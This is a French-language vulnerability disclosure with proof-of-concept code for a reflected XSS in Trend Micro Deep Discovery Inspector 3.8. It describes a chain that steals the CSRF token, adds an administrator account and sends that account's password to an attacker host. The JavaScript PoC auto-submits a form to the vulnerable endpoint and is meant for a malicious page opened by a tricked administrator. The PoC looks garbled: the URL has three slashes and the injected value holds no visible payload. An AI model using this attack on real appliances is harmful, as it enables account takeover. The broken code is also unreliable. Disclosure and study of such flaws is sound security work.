
Exploit de preuve de concept pour une XSS réfléchie dans Trend Micro Deep Discovery Inspector 3.8, permettant le contournement CSRF et la prise de contrôle du compte administrateur via l'interface web authentifiée.
J'ai trouvé une vulnérabilité XSS réfléchie dans l'interface Web de gestion de Deep Discovery Inspector 3.8 Service Pack 5 Build: 3.85.1165. Le chemin du script vulnérable est /php/detection_detail_filter.php. Ce script n'est accessible que par un utilisateur authentifié, mais cela ne rend pas la vulnérabilité moins grave, compte tenu du scénario d'attaque décrit ci-dessous.
https://PASTE_DDI_IP_HERE/php/detection_detail_filter.php?ips%5B%5D=217.69.139.245%3A80
Screen1.png confirme que le paramètre ips[] est vulnérable à l'injection de code HTML.
Cette vulnérabilité peut être utilisée pour contourner la protection CSRF, obtenir un jeton CSRF et mener avec succès une attaque CSRF. Une prise de contrôle complète de l'appliance Deep Discovery Inspector peut même être réalisée en utilisant le scénario suivant :
1. L'utilisateur connecté à l'interface Web DDI est incité à visiter une page Web malveillante.
2. Un script malveillant sur cette page est lancé en utilisant la vulnérabilité XSS dans /php/detection_detail_filter.php
3. Le script obtient le jeton CSRF via une requête PUT vers /wsgi/csrf/get_token/
4. Ensuite, il utilise le jeton obtenu de la réponse à la requête précédente pour ajouter un compte avec des privilèges d'administrateur
5. Le mot de passe du compte ajouté est obtenu à partir de la réponse à la requête précédente.
6. Le mot de passe peut être transféré à l'hôte de l'attaquant via une requête HTTP
Screen2.png montre l'attaque en action.
Pour reproduire l'attaque, vous pouvez utiliser le morceau de code suivant (la variable ddi_ip doit être modifiée en fonction de l'adresse IP de votre appliance DDI) :
<b>DDI PoC</b>
<script type="text/javascript">
function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", 'POST');
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
var ddi_ip = '192.168.91.66';
post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});
</script>
Ce code PoC doit être placé sur le serveur Web de l'attaquant, et un lien vers ce serveur doit être ouvert par un utilisateur (avec des autorisations d'administrateur) connecté à l'interface Web DDI. L'utilisateur peut être incité à cliquer sur le lien à l'aide d'ingénierie sociale.
Trend Micro a fourni la solution suivante : https://success.trendmicro.com/solution/1121079